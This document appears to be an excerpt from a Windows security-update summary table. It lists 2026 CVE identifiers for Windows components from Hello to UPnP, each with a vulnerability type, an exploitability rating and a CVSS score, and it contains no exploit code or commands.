CVE-2026-69710	Windows Hello Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69725	Windows Hello Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69740	Windows Hello Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69784	Windows Hello Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69799	Windows Hello Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69820	Windows Hello Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.2
CVE-2026-69864	Windows Hello Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-81354	Windows Hello Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-72980	Windows Hello Security Feature Bypass Vulnerability	Exploitation Unlikely	No	4.4
CVE-2026-69682	Windows Host Guardian Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69623	Windows HTTP Print Provider Remote Code Execution Vulnerability	Exploitation More Likely	No	8.0
CVE-2026-69769	Windows HTTP Print Provider Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69597	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-69553	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-72961	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.2
CVE-2026-69603	Windows Hyper-V Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69910	Windows Hyper-V Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-80083	Windows Hyper-V Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69341	Windows Image Acquisition Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69500	Windows Image Acquisition Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69613	Windows Image Acquisition Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69483	Windows Image Acquisition Information Disclosure Vulnerability	Exploitation Unlikely	No	4.7
CVE-2026-69318	Windows Imaging Component Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69499	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69860	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-70296	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-73013	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-73023	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-77495	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-83992	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62694	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69441	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-71339	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-72929	Windows Installer Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-77894	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-72926	Windows Internet Connection Sharing (ICS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-72964	Windows Internet Connection Sharing (ICS) Tampering Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69587	Windows Internet Key Exchange (IKE) Extension Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69881	Windows Internet Key Exchange (IKE) Extension Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69429	Windows Internet Key Exchange (IKE) Protocol Extensions Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69694	Windows IP Address Management (IPAM) Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-68898	Windows iSCSI Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69598	Windows iSCSI Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69628	Windows iSCSI Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-73025	Windows iSCSI Security Feature Bypass Vulnerability	Exploitation Unlikely	No	9.8

CVE-2026-69839	Windows iSCSI Target Service Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69744	Windows Kerberos Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69760	Windows Kerberos Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69685	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69822	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69676	Windows Kerberos Remote Code Execution Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-68846	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-68884	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69366	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-69466	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69473	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69578	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-83942	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-85360	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69406	Windows Kernel Information Disclosure Vulnerability	Exploitation More Likely	No	5.5
CVE-2026-69723	Windows Kernel Information Disclosure Vulnerability	Exploitation More Likely	No	5.7
CVE-2026-69669	Windows Kernel Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69421	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-84001	Windows Key Distribution Center Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69712	Windows Key Distribution Center Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69428	Windows LDAP – Lightweight Directory Access Protocol Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69281	Windows License Manager Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69315	Windows License Manager Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69732	Windows Link Layer Topology Discovery Protocol Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69451	Windows Management Instrumentation Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-70582	Windows Management Instrumentation Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-77905	Windows Management Instrumentation Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69349	Windows Management Instrumentation Information Disclosure Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-73012	Windows Management Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69891	Windows Media Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-70203	Windows Media Player Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-72960	Windows Media Player Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69645	Windows Message Queuing Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-68887	Windows Message Queuing Queue Manager Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-72932	Windows Message Queuing Queue Manager Information Disclosure Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69579	Windows Message Queuing Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-83997	Windows Message Queuing Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69440	Windows MIDI Service Module Elevation of Privileges Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69508	Windows MIDI Service Module Elevation of Privileges Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69720	Windows MIDI Service Module Elevation of Privileges Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-78464	Windows MIDI Service Module Elevation of Privileges Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-68842	Windows MIDI Service Module Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69339	Windows MIDI Service Module Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70579	Windows Mobile Broadband Information Disclosure Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69377	Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69460	Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-70577	Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-73003	Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-73022	Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69674	Windows Modern Device Management (MDM) Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-72963	Windows Modern Execution Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69357	Windows NDIS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69396	Windows NDIS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-72982	Windows Netlogon Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-62759	Windows Netlogon Spoofing Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-72967	Windows Network Connection Broker Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-68886	Windows Network Connection Broker Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69372	Windows Network File System Denial of Service Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-69772	Windows Network File System Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-71334	Windows NFS Portmapper Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69648	Windows Notification Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-68832	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68834	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-68838	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-68841	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69265	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69312	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69332	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69340	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69379	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69505	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69532	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69567	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69875	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-72935	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-77503	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-83995	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68851	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69504	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69591	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.7
CVE-2026-68833	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-68875	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69461	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69463	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69479	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.4
CVE-2026-69566	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-69638	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.4
CVE-2026-69709	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-71329	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-69425	Windows NTFS Tampering Vulnerability	Exploitation Unlikely	No	4.7
CVE-2026-69564	Windows Online Certificate Status Protocol (OCSP) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69350	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-69368	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69371	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69373	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-69316	Windows Overlay Filter Information Disclosure Vulnerability	Exploitation Unlikely	No	4.7
CVE-2026-69343	Windows Overlay Filter Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69474	Windows Overlay Filter Information Disclosure Vulnerability	Exploitation Unlikely	No	4.8
CVE-2026-70586	Windows Paint Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69480	Windows Partition Management Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69492	Windows Partition Management Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-71341	Windows Partition Management Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69324	Windows Performance Monitor Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69459	Windows Power Dependency Coordinator Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69321	Windows Power Dependency Coordinator Tampering Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69569	Windows Print Spooler Components Denial of Service Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-68835	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-68848	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69309	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69346	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69364	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-69838	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69921	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-70564	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69344	Windows Print Spooler Components Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69552	Windows Print Spooler Components Information Disclosure Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-85877	Windows Print Spooler Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69602	Windows PrintWorkflowUserSvc Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-68845	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68876	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.0
CVE-2026-69534	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69563	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-68873	Windows Program Compatibility Assistant Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-68874	Windows Program Compatibility Assistant Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-62697	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69280	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69300	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69337	Windows Registry Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-69530	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-78449	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-78450	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69331	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69455	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-71333	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-71342	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-71343	Windows Remote Access Connection Manager Remote Code Execution Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-71352	Windows Remote Access Connection Manager Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-72966	Windows Remote Access Connection Manager Tampering Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-77896	Windows Remote Desktop Client Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69317	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-69627	Windows Remote Desktop Licensing Service Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-70587	Windows Remote Desktop Protocol Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69518	Windows Remote Desktop Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69287	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69475	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-80096	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69616	Windows Remote Desktop Services Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-83999	Windows Resilient File System (ReFS) Deduplication Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69617	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-83952	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69548	Windows RNDIS Information Disclosure Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-69768	Windows RNDIS Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-72939	Windows Routing and Remote Access Service (RRAS) Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-71351	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-71353	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69590	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69852	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation More Likely	No	7.5
CVE-2026-70570	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-72950	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-72959	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-70575	Windows Schannel Denial of Service Vulnerability	Exploitation Unlikely	No	5.3
CVE-2026-72940	Windows Schannel Remote Code Execution Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-69713	Windows Secure Boot Security Feature Bypass Vulnerability	Exploitation Less Likely	No	4.4
CVE-2026-69501	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69846	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-69906	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-83939	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-72931	Windows Secure Socket Tunneling Protocol (SSTP) Denial of Service Vulnerability	Exploitation Unlikely	No	4.7
CVE-2026-71332	Windows Secure Socket Tunneling Protocol (SSTP) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-72930	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-73009	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8

CVE-2026-77899	Windows Security Center Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-78457	Windows Security Health Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-56177	Windows Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-83989	Windows Services for NFS ONCRPC XDR Driver Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-73024	Windows Services for NFS ONCRPC XDR Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-71330	Windows Services for NFS ONCRPC XDR Driver Information Disclosure Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69595	Windows Services for NFS ONCRPC XDR Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-70585	Windows Services for NFS ONCRPC XDR Driver Remote Code Execution Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-78445	Windows Services for NFS ONCRPC XDR Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69289	Windows Setup Files Cleanup Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69383	Windows Shell Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69392	Windows Shell Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69528	Windows Shell Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69606	Windows Shell Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69829	Windows Shell Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-70563	Windows Shell Spoofing Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69785	Windows Smart Card Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69544	Windows SMB Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69572	Windows SMB Client Information Disclosure Vulnerability	Exploitation Unlikely	No	5.7
CVE-2026-69618	Windows SMB Client Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-72936	Windows SMB Client Remote Code Execution Vulnerability	Exploitation More Likely	No	8.1
CVE-2026-69374	Windows SMB Server Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69403	Windows SMB Server Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-72949	Windows SMB Server Network Transport Driver (srvnet.sys) Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69512	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69535	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69643	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69691	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-70569	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69390	Windows Spaceport.sys Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69393	Windows Spaceport.sys Information Disclosure Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-69741	Windows Spaceport.sys Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69770	Windows Spaceport.sys Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69895	Windows Spaceport.sys Information Disclosure Vulnerability	Exploitation Unlikely	No	4.7
CVE-2026-72942	Windows Spaceport.sys Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69538	Windows Spaceport.sys Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-71345	Windows Spaceport.sys Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-71348	Windows Spaceport.sys Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-71349	Windows Spaceport.sys Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-71350	Windows Spaceport.sys Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-72952	Windows Spaceport.sys Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69328	Windows Storage Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-78516	Windows Storage Information Disclosure Vulnerability	Exploitation Unlikely	No	4.3
CVE-2026-69389	Windows Storage Management Provider Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-71337	Windows Storage Management Provider Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69381	Windows Storage Port Driver Information Disclosure Vulnerability	Exploitation Unlikely	No	4.6
CVE-2026-72937	Windows Storage Port Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-77492	Windows Storage Port Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69290	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69575	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-68844	Windows Storage Spaces Controller Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68877	Windows Storage Spaces Controller Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72945	Windows Task Scheduler Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69588	Windows TCP/IP Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69385	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69404	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69757	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-69761	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-69793	Windows TCP/IP Security Feature Bypass Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69353	Windows Text Shaping Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69786	Windows Text Shaping Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69573	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69592	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69758	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-68830	Windows Universal Plug and Play (UPnP) Device Host Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
